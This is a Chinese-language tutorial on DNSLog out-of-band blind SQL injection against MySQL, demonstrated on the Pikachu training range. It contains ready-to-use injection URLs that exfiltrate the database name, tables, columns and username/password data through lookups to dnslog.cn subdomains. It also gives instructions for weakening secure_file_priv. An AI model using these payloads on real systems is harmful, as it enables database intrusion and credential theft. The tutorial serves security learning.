DNSLog注入原理
在sql注入时为布尔盲注、时间盲注,注入的效率低且线程高容易被waf拦截,又或者是目标站点没有回显,我们在读取文件、执行命令注入等操作时无法明显的确认是否利用成功,这时候就要用到我们的DNSlog注入。
首先需要有一个可以配置的域名,比如:xxx.io,然后通过代理商设置域名 xxx.io 的 nameserver 为自己的服务器 A,然后再服务器 A 上配置好 DNS Server,这样以来所有 xxx.io 及其子域名的查询都会到 服务器 A 上,这时就能够实时地监控域名查询请求了。
DNS在解析的时候会留下日志,咱们这个就是读取多级域名的解析日志,来获取信息
简单来说就是把信息放在高级域名中,传递到自己这,然后读取日志,获取信息
利用条件
数据库是root用户 secure_file_priv为空
UNC路径
格式:\servername\sharename,其中servername是服务器名。sharename是共享资源的名称。
目录或文件的UNC名称可以包括共享名称下的目录路径,格式为:\servername\sharename\directory\filename。
其实我们平常在Widnows中用共享文件的时候就会用到这种网络地址的形式
\sss.xxx\test
这也就解释了为什么CONCAT()函数拼接了4个\了,因为转义的原因,4个就变\成了2个\,目的就是利用UNC路径。
例如:
http://192.168.177.129/pikachu/vul/sqli/sqli_blind_b.php?name=1' and (select load_file(CONCAT("////",(select column_name from information_schema.columns where table_name='users' limit 0,1),".ad4zrw.dnslog.cn//abc"))) --+&submit=%E6%9F%A5%E8%AF%A2
这里CONCAT函数拼接了4个\最后变成2个\
http://www.dnslog.cn http://admin.dnslog.link http://ceye.io
sql注入利用
通过DNSlog盲注需要用的load_file()函数,所以一般得是root权限。show variables like ‘%secure%’;查看load_file()可以读取的磁盘。
1、当secure_file_priv为空,就可以读取磁盘的目录。
2、当secure_file_priv为G:\,就可以读取G盘的文件。
3、当secure_file_priv为null,load_file就不能加载文件。
如果为Null解决如下:
windows下:修改my.ini 在[mysqld]内加入secure_file_priv =
linux下:修改my.cnf 在[mysqld]内加入secure_file_priv =
如遇到MySql的盲注时,可以利用内置函数load_file()来完成DNSLOG。load_file()不仅能够加载本地文件,同时也能对诸如\www.test.com这样的URL发起请求。
show variables like '%secure%';
打开my.ini修改secure_file_priv为空
重启mysql
这里以皮卡丘的盲注靶场来作为例子
查库
http://192.168.177.129/pikachu/vul/sqli/sqli_blind_b.php?name=1' and (select load_file(CONCAT("//",(select database()),".f6klkr.dnslog.cn/abc"))) --+&submit=%E6%9F%A5%E8%AF%A2
查用户
http://192.168.177.129/pikachu/vul/sqli/sqli_blind_b.php?name=1' and (select load_file(CONCAT("//",(select user()),".f6klkr.dnslog.cn/abc"))) --+&submit=%E6%9F%A5%E8%AF%A2
查表
http://192.168.177.129/pikachu/vul/sqli/sqli_blind_b.php?name=1' and (select load_file(CONCAT("//",(select table_name from information_schema.tables where table_schema='pikachu' limit 0,1),".f6klkr.dnslog.cn/abc"))) --+&submit=%E6%9F%A5%E8%AF%A2
http://192.168.177.129/pikachu/vul/sqli/sqli_blind_b.php?name=1' and (select load_file(CONCAT("//",(select table_name from information_schema.tables where table_schema='pikachu' limit 1,1),".f6klkr.dnslog.cn/abc"))) --+&submit=%E6%9F%A5%E8%AF%A2
http://192.168.177.129/pikachu/vul/sqli/sqli_blind_b.php?name=1' and (select load_file(CONCAT("//",(select table_name from information_schema.tables where table_schema='pikachu' limit 3,1),".f6klkr.dnslog.cn/abc"))) --+&submit=%E6%9F%A5%E8%AF%A2
查users的列名
第一个列名
http://192.168.177.129/pikachu/vul/sqli/sqli_blind_b.php?name=1' and (select load_file(CONCAT("//",(select column_name from information_schema.columns where table_name='users' limit 0,1),".f6klkr.dnslog.cn/abc"))) --+&submit=%E6%9F%A5%E8%AF%A2
第二个列名
http://192.168.177.129/pikachu/vul/sqli/sqli_blind_b.php?name=1' and (select load_file(CONCAT("//",(select column_name from information_schema.columns where table_name='users' limit 1,1),".f6klkr.dnslog.cn/abc"))) --+&submit=%E6%9F%A5%E8%AF%A2
第三个列名
http://192.168.177.129/pikachu/vul/sqli/sqli_blind_b.php?name=1' and (select load_file(CONCAT("//",(select column_name from information_schema.columns where table_name='users' limit 2,1),".f6klkr.dnslog.cn/abc"))) --+&submit=%E6%9F%A5%E8%AF%A2
第四个列名
http://192.168.177.129/pikachu/vul/sqli/sqli_blind_b.php?name=1' and (select load_file(CONCAT("//",(select column_name from information_schema.columns where table_name='users' limit 3,1),".f6klkr.dnslog.cn/abc"))) --+&submit=%E6%9F%A5%E8%AF%A2
查数据
http://192.168.177.129/pikachu/vul/sqli/sqli_blind_b.php?name=1' and (select load_file(CONCAT("//",(select CONCAT(username,password) from users limit 0,1),".f6klkr.dnslog.cn/abc"))) --+&submit=%E6%9F%A5%E8%AF%A2
#如无特别声明,该文章均为 原创,转载请遵循
署名-非商业性使用 4.0 国际(CC BY-NC 4.0) 协议,即转载请注明文章来源。
#最后编辑时间为: 2023-01-22 12:44:54